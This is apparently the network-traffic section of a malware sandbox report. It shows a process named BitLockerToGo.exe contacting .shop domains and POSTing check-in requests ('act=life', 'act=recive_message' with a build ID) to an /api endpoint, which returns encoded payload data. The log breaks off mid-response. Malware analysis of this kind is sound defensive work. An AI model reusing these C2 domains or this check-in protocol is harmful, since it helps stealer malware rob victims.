Jul 3, 2024 19:31:24.205601931 CEST	443	49735	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:24.206348896 CEST	443	49735	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:24.206398964 CEST	49735	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:24.206407070 CEST	443	49735	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:24.206442118 CEST	49735	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:24.210391045 CEST	443	49735	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:24.250731945 CEST	49735	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:24.295124054 CEST	443	49735	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:24.295162916 CEST	443	49735	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:24.295186996 CEST	443	49735	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:24.295213938 CEST	443	49735	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:24.295296907 CEST	49735	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:24.295306921 CEST	443	49735	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:24.295456886 CEST	443	49735	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:24.295540094 CEST	443	49735	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:24.295588970 CEST	49735	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:24.295819044 CEST	49735	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:24.295828104 CEST	443	49735	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:24.295836926 CEST	49735	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:24.295840979 CEST	443	49735	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:24.401309013 CEST	49737	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:24.401340961 CEST	443	49737	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:24.401424885 CEST	49737	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:24.402178049 CEST	49737	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:24.402189970 CEST	443	49737	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:24.859950066 CEST	443	49737	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:24.860044003 CEST	49737	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:24.861392021 CEST	49737	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:24.861403942 CEST	443	49737	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:24.861634970 CEST	443	49737	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:24.868369102 CEST	49737	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:24.868520975 CEST	49737	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:24.868550062 CEST	443	49737	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:24.868613958 CEST	49737	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:24.868622065 CEST	443	49737	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:25.665945053 CEST	443	49737	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:25.666035891 CEST	443	49737	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:25.666093111 CEST	49737	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:25.674978018 CEST	49737	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:25.674995899 CEST	443	49737	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:25.884918928 CEST	49739	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:25.884948969 CEST	443	49739	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:25.885029078 CEST	49739	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:25.885421991 CEST	49739	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:25.885432959 CEST	443	49739	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:26.474759102 CEST	443	49739	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:26.474833012 CEST	49739	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:26.481478930 CEST	49739	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:26.481502056 CEST	443	49739	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:26.481826067 CEST	443	49739	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:26.489021063 CEST	49739	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:26.489115000 CEST	49739	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:26.489159107 CEST	443	49739	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:27.184689045 CEST	443	49739	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:27.184823990 CEST	443	49739	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:27.184887886 CEST	49739	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:27.184916019 CEST	49739	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:27.184931040 CEST	443	49739	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:27.385688066 CEST	49740	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:27.385726929 CEST	443	49740	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:27.385791063 CEST	49740	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:27.386051893 CEST	49740	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:27.386064053 CEST	443	49740	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:27.883439064 CEST	443	49740	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:27.883517027 CEST	49740	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:27.884583950 CEST	49740	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:27.884598017 CEST	443	49740	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:27.884919882 CEST	443	49740	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:27.885978937 CEST	49740	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:27.886122942 CEST	49740	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:27.886152983 CEST	443	49740	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:27.886212111 CEST	49740	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:27.886220932 CEST	443	49740	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:28.438955069 CEST	443	49740	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:28.439084053 CEST	443	49740	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:28.439173937 CEST	49740	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:28.440886974 CEST	49740	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:28.440905094 CEST	443	49740	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:29.390592098 CEST	49741	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:29.390633106 CEST	443	49741	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:29.390706062 CEST	49741	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:29.390988111 CEST	49741	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:29.391002893 CEST	443	49741	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:29.989974022 CEST	443	49741	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:29.990065098 CEST	49741	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:29.991190910 CEST	49741	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:29.991197109 CEST	443	49741	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:29.991404057 CEST	443	49741	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:29.992451906 CEST	49741	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:29.992562056 CEST	49741	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:29.992588997 CEST	443	49741	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:30.399467945 CEST	443	49741	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:30.399561882 CEST	443	49741	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:30.399621010 CEST	49741	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:30.399727106 CEST	49741	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:30.399735928 CEST	443	49741	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:30.493092060 CEST	49742	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:30.493107080 CEST	443	49742	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:30.493187904 CEST	49742	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:30.493458986 CEST	49742	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:30.493470907 CEST	443	49742	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:30.981406927 CEST	443	49742	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:30.981503010 CEST	49742	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:30.982626915 CEST	49742	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:30.982633114 CEST	443	49742	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:30.982836008 CEST	443	49742	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:30.983851910 CEST	49742	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:30.983937025 CEST	49742	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:30.983942986 CEST	443	49742	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:31.382009983 CEST	443	49742	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:31.382091045 CEST	443	49742	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:31.382145882 CEST	49742	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:31.382224083 CEST	49742	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:31.382232904 CEST	443	49742	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:31.841582060 CEST	49743	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:31.841625929 CEST	443	49743	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:31.841712952 CEST	49743	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:31.842065096 CEST	49743	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:31.842073917 CEST	443	49743	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:32.304915905 CEST	443	49743	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:32.304994106 CEST	49743	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:32.307426929 CEST	49743	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:32.307439089 CEST	443	49743	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:32.307667017 CEST	443	49743	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:32.309494972 CEST	49743	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:32.310249090 CEST	49743	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:32.310280085 CEST	443	49743	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:32.310385942 CEST	49743	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:32.310415030 CEST	443	49743	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:32.310530901 CEST	49743	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:32.310652971 CEST	443	49743	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:32.310899973 CEST	443	49743	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:32.310906887 CEST	49743	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:32.310936928 CEST	443	49743	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:32.311000109 CEST	49743	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:32.311043024 CEST	443	49743	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:32.311139107 CEST	49743	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:32.311157942 CEST	443	49743	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:32.311630011 CEST	49743	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:32.311655998 CEST	443	49743	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:32.311666965 CEST	49743	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:32.311680079 CEST	443	49743	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:32.311769009 CEST	49743	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:32.311786890 CEST	443	49743	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:32.311800957 CEST	49743	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:32.311811924 CEST	443	49743	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:32.311821938 CEST	49743	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:32.311825991 CEST	443	49743	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:32.311939001 CEST	49743	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:32.311954975 CEST	443	49743	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:32.311979055 CEST	49743	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:32.311990976 CEST	443	49743	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:32.312036037 CEST	49743	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:32.312057972 CEST	443	49743	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:32.312077999 CEST	49743	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:32.312087059 CEST	443	49743	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:32.312110901 CEST	49743	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:32.312128067 CEST	443	49743	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:33.714145899 CEST	443	49743	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:33.714236975 CEST	443	49743	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:33.714354038 CEST	49743	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:33.714709997 CEST	49743	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:33.714731932 CEST	443	49743	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:33.722031116 CEST	49744	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:33.722078085 CEST	443	49744	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:33.722162008 CEST	49744	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:33.722455025 CEST	49744	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:33.722470999 CEST	443	49744	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:34.198184013 CEST	443	49744	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:34.198239088 CEST	49744	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:34.199404955 CEST	49744	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:34.199415922 CEST	443	49744	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:34.199646950 CEST	443	49744	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:34.200680971 CEST	49744	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:34.200700045 CEST	49744	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:34.200774908 CEST	443	49744	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:34.626657963 CEST	443	49744	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:34.626749039 CEST	443	49744	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:34.626802921 CEST	49744	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:34.626949072 CEST	49744	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:34.626967907 CEST	443	49744	188.114.96.3	192.168.2.4
Jul 3, 2024 19:31:34.626980066 CEST	49744	443	192.168.2.4	188.114.96.3
Jul 3, 2024 19:31:34.626986027 CEST	443	49744	188.114.96.3	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 3, 2024 19:31:21.307377100 CEST	58968	53	192.168.2.4	1.1.1.1
Jul 3, 2024 19:31:21.316716909 CEST	53	58968	1.1.1.1	192.168.2.4
Jul 3, 2024 19:31:21.319047928 CEST	55667	53	192.168.2.4	1.1.1.1
Jul 3, 2024 19:31:21.335884094 CEST	53	55667	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 3, 2024 19:31:21.307377100 CEST	192.168.2.4	1.1.1.1	0x2fb6	Standard query (0)	willingyhollowsk.shop	A (IP address)	IN (0x0001)	false
Jul 3, 2024 19:31:21.319047928 CEST	192.168.2.4	1.1.1.1	0xcaf	Standard query (0)	potterryisiw.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 3, 2024 19:31:21.316716909 CEST	1.1.1.1	192.168.2.4	0x2fb6	Name error (3)	willingyhollowsk.shop	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 19:31:21.335884094 CEST	1.1.1.1	192.168.2.4	0xcaf	No error (0)	potterryisiw.shop		188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 3, 2024 19:31:21.335884094 CEST	1.1.1.1	192.168.2.4	0xcaf	No error (0)	potterryisiw.shop		188.114.97.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

potterryisiw.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49732	188.114.96.3	443	1868	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 17:31:21 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: potterryisiw.shop
2024-07-03 17:31:21 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-07-03 17:31:22 UTC	810	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 17:31:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=oq9p7hrb1omfig5m0lasc9o8bh; expires=Sun, 27-Oct-2024 11:18:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=528LslQFpz9DjNr4KUOdlEaQMRRaLM5mSATPshSad%2Fcsar2iFVvcx%2Bo6w%2BX5StUDKu2M4jXjvXsDShh7R8%2BAPMqkNNfEsIZHQk9u%2F5WgBabqdfavMCxR1PAH%2F6JgRmiTynDpoQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89d89bd65a011879-EWR alt-svc: h3=":443"; ma=86400
2024-07-03 17:31:22 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-07-03 17:31:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49735	188.114.96.3	443	1868	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 17:31:23 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 51 Host: potterryisiw.shop
2024-07-03 17:31:23 UTC	51	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 66 75 4f 4c 4d 62 2d 2d 70 61 6c 70 61 74 69 6e 65 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=fuOLMb--palpatine&j=
2024-07-03 17:31:24 UTC	810	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 17:31:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3oqijiine88mb3jvboov50ut6r; expires=Sun, 27-Oct-2024 11:18:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gXIzyN9BvH%2F60e1GTKXEIFg0G7EauuM%2FS78R9ZXKPzrh3fypvai8hR0C9OccN%2F3TQgLfeJwQ2K7wnRbnUFA6JfKoDZ%2Bphe7hf%2FlLT5ZRYXMeOV%2B15zpsQHN1md8ZGLO2IrpuAA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89d89be1fbb48cc3-EWR alt-svc: h3=":443"; ma=86400
2024-07-03 17:31:24 UTC	559	IN	Data Raw: 34 64 64 0d 0a 77 78 44 4d 33 49 45 39 4d 5a 53 69 6a 49 44 62 52 54 78 43 77 38 74 62 79 49 48 6b 36 50 71 4d 41 59 63 78 74 66 6b 36 46 57 43 34 47 73 58 2b 39 78 38 4c 74 4a 61 67 69 74 4a 6e 54 79 66 68 38 58 75 38 38 35 47 4e 31 6f 59 49 70 56 44 52 32 77 41 31 42 71 4a 38 76 37 6d 74 4e 7a 69 32 78 2f 53 69 34 57 56 6e 53 4d 72 43 49 4f 69 6a 67 59 62 59 74 69 47 6c 56 4e 2b 62 57 33 6b 43 6f 6e 75 6a 72 4f 31 65 57 66 6a 46 35 4f 57 34 49 56 30 75 72 71 34 2b 72 65 43 4f 68 70 50 68 61 65 6f 54 6d 64 6b 59 63 42 72 68 4b 75 7a 2b 7a 46 68 46 39 65 2f 74 38 37 42 6e 48 44 2f 76 77 56 4c 42 2b 73 54 4b 6e 2b 49 6a 76 52 47 58 6d 46 39 33 44 4b 56 30 70 37 54 70 56 56 58 33 78 75 62 77 73 69 4e 55 4b 71 47 76 4d 71 66 72 6c 49 53 63 35 6d 2f 6b 58 74 Data Ascii: 4ddwxDM3IE9MZSijIDbRTxCw8tbyIHk6PqMAYcxtfk6FWC4GsX+9x8LtJagitJnTyfh8Xu885GN1oYIpVDR2wA1BqJ8v7mtNzi2x/Si4WVnSMrCIOijgYbYtiGlVN+bW3kConujrO1eWfjF5OW4IV0urq4+reCOhpPhaeoTmdkYcBrhKuz+zFhF9e/t87BnHD/vwVLB+sTKn+IjvRGXmF93DKV0p7TpVVX3xubwsiNUKqGvMqfrlISc5m/kXt
2024-07-03 17:31:24 UTC	693	IN	Data Raw: 4c 35 4d 4f 36 36 34 6c 74 53 38 73 37 67 35 72 55 68 55 43 32 75 72 7a 4f 71 35 49 79 43 6b 4f 39 75 37 6c 7a 58 6e 6c 56 7a 42 4b 31 7a 71 2f 36 74 48 52 50 78 32 4b 36 36 2b 32 64 77 4a 36 4b 37 65 35 2f 67 69 49 53 66 2b 43 4f 6e 54 4a 6e 7a 4d 78 77 62 34 7a 4b 70 73 71 4d 48 45 62 62 4f 36 2b 32 72 4a 6b 77 6c 72 37 73 31 72 2b 57 4c 69 5a 62 75 5a 75 4a 65 32 5a 31 66 64 41 71 6c 63 36 43 79 36 56 78 58 39 59 43 67 6f 50 6b 67 52 6d 44 35 36 33 6d 62 34 49 4b 4e 69 75 31 74 70 52 48 49 31 54 41 63 61 62 67 77 37 72 6e 76 48 77 75 30 67 4f 54 6b 74 43 35 56 4a 36 6d 6c 4b 36 48 73 68 59 4f 66 36 47 6e 6d 57 39 32 64 56 6e 59 46 70 48 57 38 73 4f 68 53 55 50 7a 47 72 71 7a 37 5a 31 6b 34 34 66 46 37 36 73 32 46 6d 34 37 63 59 50 52 43 6c 39 6c 48 4f Data Ascii: L5MO664ltS8s7g5rUhUC2urzOq5IyCkO9u7lzXnlVzBK1zq/6tHRPx2K66+2dwJ6K7e5/giISf+COnTJnzMxwb4zKpsqMHEbbO6+2rJkwlr7s1r+WLiZbuZuJe2Z1fdAqlc6Cy6VxX9YCgoPkgRmD563mb4IKNiu1tpRHI1TAcabgw7rnvHwu0gOTktC5VJ6mlK6HshYOf6GnmW92dVnYFpHW8sOhSUPzGrqz7Z1k44fF76s2Fm47cYPRCl9lHO
2024-07-03 17:31:24 UTC	1369	IN	Data Raw: 34 30 64 39 0d 0a 68 4f 34 67 71 37 6c 6f 57 63 47 59 75 47 4e 4e 37 33 33 6a 63 69 74 37 57 33 72 56 4d 48 62 47 6d 68 4d 79 52 6e 46 70 36 45 66 56 50 71 41 74 71 44 35 4b 56 4d 72 72 61 34 77 71 2b 43 47 67 4a 62 68 61 65 31 62 31 35 5a 5a 66 41 71 6e 66 36 57 78 37 46 68 62 39 63 7a 72 37 37 70 6e 45 47 4c 68 72 69 48 71 75 38 54 4b 76 65 42 67 39 45 4b 56 72 6c 74 35 44 4b 5a 6b 37 76 7a 38 45 54 75 64 71 2f 65 67 2b 53 42 53 59 50 6e 72 65 61 44 6b 67 59 36 56 35 47 44 68 56 39 71 55 55 58 34 4c 73 33 69 69 73 50 46 53 57 66 50 4f 34 75 65 32 4a 31 38 68 72 36 4d 79 36 71 33 45 79 70 2f 32 49 37 30 52 6c 37 52 56 5a 78 43 72 65 62 2f 38 31 6c 78 64 2b 4d 66 34 6f 76 73 34 45 45 6a 4b 77 69 44 6f 6f 34 47 47 32 4c 59 68 70 56 6a 52 6c 31 52 33 42 4c Data Ascii: 40d9hO4gq7loWcGYuGNN733jcit7W3rVMHbGmhMyRnFp6EfVPqAtqD5KVMrra4wq+CGgJbhae1b15ZZfAqnf6Wx7Fhb9czr77pnEGLhriHqu8TKveBg9EKVrlt5DKZk7vz8ETudq/eg+SBSYPnreaDkgY6V5GDhV9qUUX4Ls3iisPFSWfPO4ue2J18hr6My6q3Eyp/2I70Rl7RVZxCreb/81lxd+Mf4ovs4EEjKwiDoo4GG2LYhpVjRl1R3BL
2024-07-03 17:31:24 UTC	1369	IN	Data Raw: 34 46 46 5a 39 38 66 67 35 37 6b 67 56 69 2b 74 6f 6a 2f 71 72 63 54 4b 6e 2f 59 6a 76 52 47 58 74 31 4e 7a 46 4c 6f 79 37 4b 47 74 4e 7a 69 64 32 61 79 69 76 69 73 65 65 4f 50 70 4f 71 37 6a 68 34 71 51 2f 47 50 33 56 39 53 64 56 6e 34 4e 71 33 32 76 73 4f 6c 57 56 50 48 4e 36 4f 32 36 4b 46 38 6b 72 36 68 35 35 4b 48 47 6a 59 43 75 4f 36 63 54 2b 4a 68 4f 66 55 4c 6a 62 65 44 57 69 44 52 4b 74 49 44 70 37 76 6c 2f 48 47 43 72 70 54 32 70 37 34 2b 47 6c 65 39 6e 34 6c 37 54 6d 31 35 78 42 36 42 35 70 72 4c 73 56 56 2f 79 7a 4f 66 6b 74 53 52 64 4a 75 48 6e 65 2b 72 6b 6e 73 72 41 72 43 50 45 58 74 79 58 57 48 51 54 70 6a 4c 67 2f 4b 4e 52 56 66 61 41 74 71 43 76 4e 30 6b 6e 34 37 5a 33 77 6f 6a 74 6b 39 71 75 5a 4f 6b 54 6a 39 6b 59 66 52 43 6b 66 4b 71 Data Ascii: 4FFZ98fg57kgVi+toj/qrcTKn/YjvRGXt1NzFLoy7KGtNzid2ayiviseeOPpOq7jh4qQ/GP3V9SdVn4Nq32vsOlWVPHN6O26KF8kr6h55KHGjYCuO6cT+JhOfULjbeDWiDRKtIDp7vl/HGCrpT2p74+Gle9n4l7Tm15xB6B5prLsVV/yzOfktSRdJuHne+rknsrArCPEXtyXWHQTpjLg/KNRVfaAtqCvN0kn47Z3wojtk9quZOkTj9kYfRCkfKq
2024-07-03 17:31:24 UTC	1369	IN	Data Raw: 50 4c 4c 34 75 65 38 4b 46 30 70 70 4b 41 33 75 4f 71 49 67 70 44 68 5a 75 35 54 32 70 46 55 64 77 48 68 50 4f 7a 2b 35 45 63 54 72 6f 4b 75 30 4c 51 72 53 43 65 75 36 58 75 31 72 65 37 68 38 2f 63 68 70 56 54 62 32 77 41 31 51 71 5a 32 72 72 76 74 57 6c 37 79 7a 65 58 77 71 79 64 62 49 61 6d 75 4b 36 62 70 6a 59 71 57 37 57 6a 6c 55 74 75 61 56 6e 49 4c 34 54 7a 73 2f 75 52 48 45 36 36 43 72 73 32 36 4e 30 67 72 6f 71 56 35 36 50 7a 49 34 76 4f 46 65 71 63 54 30 4a 63 59 4c 30 44 68 66 71 4b 37 34 6c 68 53 2f 38 44 74 38 4c 34 6e 57 69 75 75 70 54 65 6d 36 49 32 42 6d 2b 52 71 35 6c 2f 52 6d 6c 5a 33 44 4b 45 79 34 50 79 6a 57 45 75 32 6d 4b 79 69 6d 53 78 49 4e 61 4b 35 